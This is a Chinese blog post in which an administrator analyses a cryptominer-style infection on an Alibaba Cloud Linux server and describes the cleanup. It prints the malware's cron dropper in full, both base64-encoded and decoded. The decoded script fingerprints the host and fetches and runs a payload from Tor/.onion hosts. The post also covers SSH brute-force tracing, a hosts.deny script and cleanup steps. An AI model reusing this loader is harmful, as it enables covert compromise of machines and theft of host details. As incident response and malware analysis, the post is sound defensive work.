linux主机又又中木马了

一 背景

早上就收到朋友的短信,提示阿里云机器有病毒执行,一般病毒木马执行喜欢用 crontab,所以先看看 crontab 的内容:

for u in `cat /etc/passwd | cut -d":" -f1`;do crontab -l -u $u;done

结果发现可疑 crontab 脚本:

43  * * * * /root/.systemd-service.sh > /dev/null 2>&1 &

二 恶意脚本分析

查看脚本内容:

#!/bin/bash
exec &>/dev/null
echo nP8byPUGOwKjVfPZZsp5octdXHTWGyPqgVeY82zV1de6AY0ydAtgEGmo+JaumEfV
echo blA4YnlQVUdPd0tqVmZQWlpzcDVvY3RkWEhUV0d5UHFnVmVZODJ6VjFkZTZBWTB5ZEF0Z0VHbW8rSmF1bUVmVgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICJ3dnp5djJucHRqdXhjcW9pYmVrbHhlc2U0Nmo0dW9uemFhcHd5bDZ3dmhka25qbHFsY29ldTdpZCIpCgpzb2NreigpIHsKbj0oZG9oLmRlZmF1bHRyb3V0ZXMuZGUgZG5zLmhvc3R1eC5uZXQgdW5jZW5zb3JlZC5sdXgxLmRucy5uaXhuZXQueHl6IGRucy5ydWJ5ZmlzaC5jbiBkbnMudHduaWMudHcgZG9oLmNlbnRyYWxldS5waS1kbnMuY29tIGRvaC5kbnMuc2IgZG9oLWZpLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgZG5zLmZsYXR1c2xpZmlyLmlzIGRvaC5saSBkbnMuZGlnaXRhbGUtZ2VzZWxsc2NoYWZ0LmNoKQpwPSQoZWNobyAiZG5zLXF1ZXJ5P25hbWU9cmVsYXkudG9yMnNvY2tzLmluIikKcz0kKCRjIGh0dHBzOi8vJHtuWyQoKFJBTkRPTSUxMCkpXX0vJHAgfCBncmVwIC1vRSAiXGIoWzAtOV17MSwzfVwuKXszfVswLTldezEsM31cYiIgfHRyICcgJyAnXG4nfGdyZXAgLUV2IFsuXTB8c29ydCAtdVJ8aGVhZCAtbiAxKQp9CgpmZXhlKCkgewpmb3IgaSBpbiAuICRIT01FIC91c3IvYmluICRkIC92YXIvdG1wIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmPS9pbnQuJCh1bmFtZSAtbSkKeD0uLyQoZGF0ZXxtZDVzdW18Y3V0IC1mMSAtZC0pCnI9JChjdXJsIC00ZnNTTGsgY2hlY2tpcC5hbWF6b25hd3MuY29tfHxjdXJsIC00ZnNTTGsgaXAuc2IpXyQod2hvYW1pKV8kKHVuYW1lIC1tKV8kKHVuYW1lIC1uKV8kKGlwIGF8Z3JlcCAnaW5ldCAnfGF3ayB7J3ByaW50ICQyJ318bWQ1c3VtfGF3ayB7J3ByaW50ICQxJ30pXyQoY3JvbnRhYiAtbHxiYXNlNjQgLXcwKQokYyAteCBzb2NrczVoOi8vJHM6OTA1MCAkdC5vbmlvbiRmIC1vJHggLWUkciB8fCAkYyAkMSRmIC1vJHggLWUkcgpjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iyd2ViLmluIHRvcjJ3ZWIuaXQgb25pb24uZm91bmRhdGlvbiBvbmlvbi5jb20uZGUgb25pb24uc2ggdG9yMndlYi5zdSAKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzOyB0aGVuCmZleGU7dSAkdC4kaApscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvdG1wO3UgJHQuJGgpCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC9kZXYvc2htO3UgJHQuJGgpCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash

第一句没啥好说的,就是 exec 执行的输出和错误输出重定向到黑洞文件,即不输出出错和输出信息.

exec &>/dev/null

第二句很奇怪就打印些 base64 内容,转后是乱码,没看到什么东西:

echo nP8byPUGOwKjVfPZZsp5octdXHTWGyPqgVeY82zV1de6AY0ydAtgEGmo+JaumEfV

重点是第三句:

echo  一串base64| base64 -d|bash

即将这一串 base64 编码的字符串用 base64 解码,然后通过管道通过 bash 执行. 解码下:

  1 nP8byPUGOwKjVfPZZsp5octdXHTWGyPqgVeY82zV1de6AY0ydAtgEGmo+JaumEfV
  2 exec &>/dev/null
  3 export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
  4
  5 d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
  6 c=$(echo "curl -4fsSLkA- -m200")
  7 t=$(echo "wvzyv2nptjuxcqoibeklxese46j4uonzaapwyl6wvhdknjlqlcoeu7id")
  8
  9 sockz() {
 10 n=(doh.defaultroutes.de dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org dns.fla    tuslifir.is doh.li dns.digitale-gesellschaft.ch)
 11 p=$(echo "dns-query?name=relay.tor2socks.in")
 12 s=$($c https://${n[$((RANDOM%10))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1)
 13 }
 14
 15 fexe() {
 16 for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
 17 }
 18
 19 u() {
 20 sockz
 21 f=/int.$(uname -m)
 22 x=./$(date|md5sum|cut -f1 -d-)
 23 r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
 24 $c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
 25 chmod +x $x;$x;rm -f $x
 26 }
 27
 28 for h in tor2web.in tor2web.it onion.foundation onion.com.de onion.sh tor2web.su
 29 do
 30 if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
 31 fexe;u $t.$h
 32 ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
 33 ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
 34 else
 35 break
 36 fi
 37 done
  • 第一句话仍然是一串疑似 base64 编码,解码也没看到什么特殊地方,我怀疑只是屏蔽些检测软件用的.

  • 第二和三句,屏蔽输出和设置环境变量没啥特殊地方.

  • 第四句:

d= echo  $(grep x:$(id -u): /etc/passwd|cut -d: -f6)

即从/etc/passwd 中获取当前用户的家目录, cut -d: -f6: cut 是切分,-d 指定切分分隔符为冒号,$(id -u)获取当前用户的 id,root 一般为 0。

  • 第五句为获取执行命令:curl -4fsSLkA- -m200参数说明:

-4 使用 ipv4   
-f 连接失败时不显示 http 错误 
-s 静默模式。不输出任何东西 
-S/--show-error 显示错误 
-L 参数会让 HTTP 请求跟随服务器的重定向
-k 参数指定跳过 SSL 检测。 
-A 参数指定客户端的用户代理标头,即 User-Agent 
-m200 设置最大传输时间 200s 
  • 第 7 行为 echo 输出一串字符串,也许后面用到.

  • 第 9 到 13 行为 sockz 函数,随机从域名查询的网站中选择一个进行域名查询:

curl -4fsSLkA- -m200  https://dns.hostux.net/dns-query?name=relay.tor2socks.in

grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"即搜索 ip,tr ' ' '\n' 空格转换行。

grep -Ev [.]0即过滤掉不包含点号的行,然后进行排序:-ur 降序排序,u 保障唯一。

head -n 1只取第一个,这种做 cc 控制的域名的 ip 是不停转换的,通过这种方式保障获取到的 ip 是最新的。

  • 第 15 到 17 行,测试下,通过一个循环在这些目录下生成一个 i 文件,内容只有 exit,增加执行权限,运行一次后删除,执行一次成功就跳出循环。

-第 19 到 26 行,即 u 函数,cut -f1 -d- 以-为分隔符,取第一个字段。$(date|md5sum|cut -f1 -d-)即用当前时间生成 md5 码。

脚本:$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)含义:查下阿里云的外网 IP,然后拼上一堆东西构成一个字符串。

脚本:$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r

含义:$c -x socks5h://$s:9050 采用 sock5 代理,代理 ip 是上面获取的 ip,socks5h:// 表示如果代理是域名通过 sock5 代理服务器解析, $t.onion$f按照我的理解应该是一些鉴权参数信息。

-e$r即设置 HTTP 的 refer 内容。
-o$x保存返回内容到文件中。
|| $c $1$f -o$x -e$r 即如果前面没有执行成功,通过这种方式获取内容保存到本地文件中。
chmod +x $x;$x;rm -f $x 执行可执行文件,然后删除。

  • 第 30 行到 39 行 是整个脚本的入口,执行一个 for 循环,判断木马文件是否存在,如果不存在,则调用fexe;测试执行情况,然后调用u $t.$h 进行木马文件的下载,具体过程见上面的 u 函数的分析,再继续查看进程状态,如果不存在,继续下载执行,连续运行二次。

[root@iZbp10p2g1civrw4ggigvfZ mscms]# ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status
/proc/3879/status
[root@iZbp10p2g1civrw4ggigvfZ mscms]# ps -ef|grep 3879
root      3879     1  0 Feb19 ?        00:00:00 KuZJxv6t
root     18762  3907  0 11:01 pts/0    00:00:00 grep --color=auto 3879
[root@iZbp10p2g1civrw4ggigvfZ mscms]# lsof -p 3879
COMMAND   PID USER   FD   TYPE DEVICE SIZE/OFF   NODE NAME
KuZJxv6t 3879 root  cwd    DIR  253,1     4096 917505 /root
KuZJxv6t 3879 root  rtd    DIR  253,1     4096      2 /
KuZJxv6t 3879 root  txt    REG  253,1    32168 950589 /root/5004b390813bc5e00c2a11daedad32cf (deleted)
KuZJxv6t 3879 root    0w   REG  253,1        6 131086 /tmp/.X11-unix/01

果然这个恶意的代码已经再执行了,具体干的啥那?通过 lsof 判断,没有发现有外连或打开端口的现象。

三 溯源

3.1 aureport

 aureport --auth
23115. 02/16/2021 21:17:32 ? 87.246.7.242 dovecot /usr/libexec/dovecot/auth no 1550853
23116. 02/16/2021 21:17:56 ? 87.246.7.242 dovecot /usr/libexec/dovecot/auth no 1550854
23117. 02/16/2021 21:18:02 ? 87.246.7.226 dovecot /usr/libexec/dovecot/auth no 1550862
....

通过查看认证报告,大量主机连接本主机开源 smtp 和 pop3 服务上,这个服务用的不多,直接干掉。

aureport -i --login |grep yes

排查登录信息:从 47.110.55.79 这个阿里主机登录进来的,时间为:6 点 57分。

3.2 查看 secure 日志

[root@iZbp10p2g1civrw4ggigvfZ .X11-unix]# cat /var/log/secure|awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"="$1;}'
121.5.54.240=3
132.232.144.76=1
47.110.55.79=287

确实发现 47.110.55.79 失败了 287 次,看起来很像暴力破解,将其加入到黑名单中:

#! /bin/bash
cat /var/log/secure|awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"="$1;}' > /usr/local/bin/black.txt
for i in `cat  /usr/local/bin/black.txt`
do
  IP=`echo $i |awk -F= '{print $1}'`
  NUM=`echo $i|awk -F= '{print $2}'`
   if [ $NUM -gt 20 ];then
      grep $IP /etc/hosts.deny > /dev/null
    if [ $? -gt 0 ];then
      echo "sshd:$IP:deny" >> /etc/hosts.deny
    fi
  fi
done

3.3 清理

3.3.1 检查 hosts 和 ssh 信息
  1. /etc/hosts 确实有些乱七八糟的主机,清理掉。

  2. /root/.ssh/authorized_keys 也没有密钥

  3. cd /etc/cron.d 发现可疑文件:内容如下:

cat 0systemd-service
18 * * * * root /opt/systemd-service.sh > /dev/null 2>&1 &

脚本内容和上面 crontab 里面的一样,直接删除,且删除/opt/systemd-service.sh 文件。通过 crontab 定位到/root 下面还有一个/root/.systemd-service.sh 恶意脚本也删除掉,内容都是一样的。

  1. 根据脚本找到启动的进程杀掉:

[root@iZbp10p2g1civrw4ggigvfZ .X11-unix]# cat 01
3879

[root@iZbp10p2g1civrw4ggigvfZ .X11-unix]# ps -ef|grep 3879
root      3879     1  0 Feb19 ?        00:00:00 KuZJxv6t
root     29242  3907  0 12:18 pts/0    00:00:00 grep --color=auto 3879
[root@iZbp10p2g1civrw4ggigvfZ .X11-unix]# lsof -p 3879
COMMAND   PID USER   FD   TYPE DEVICE SIZE/OFF   NODE NAME
KuZJxv6t 3879 root  cwd    DIR  253,1     4096 917505 /root
KuZJxv6t 3879 root  rtd    DIR  253,1     4096      2 /
KuZJxv6t 3879 root  txt    REG  253,1    32168 950589 /root/5004b390813bc5e00c2a11daedad32cf (deleted)
KuZJxv6t 3879 root    0w   REG  253,1        6 131086 /tmp/.X11-unix/01
[root@iZbp10p2g1civrw4ggigvfZ .X11-unix]# kill -9 3879
  1. 后续持续一段时间观察 crontab 日志

grep "systemd-service.sh" /var/log/cron

没有再发现启动的情况。

四 后续安全措施

通过溯源分析来看,应该是通过 ssh 爆破的方式进入的,为安全起见,还是更改下 sshd 默认端口吧,本来想偷懒的,却经常被挖矿木马骚扰。感谢同事提醒。

五 诗词欣赏

清平乐·村居
   朝代:[宋代] 作者:[辛弃疾]

茅檐低小,溪上青青草。醉里吴音相媚好,白发谁家翁媪。
大儿锄豆溪东,中儿正织鸡笼。最喜小儿亡赖,溪头卧剥莲蓬。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值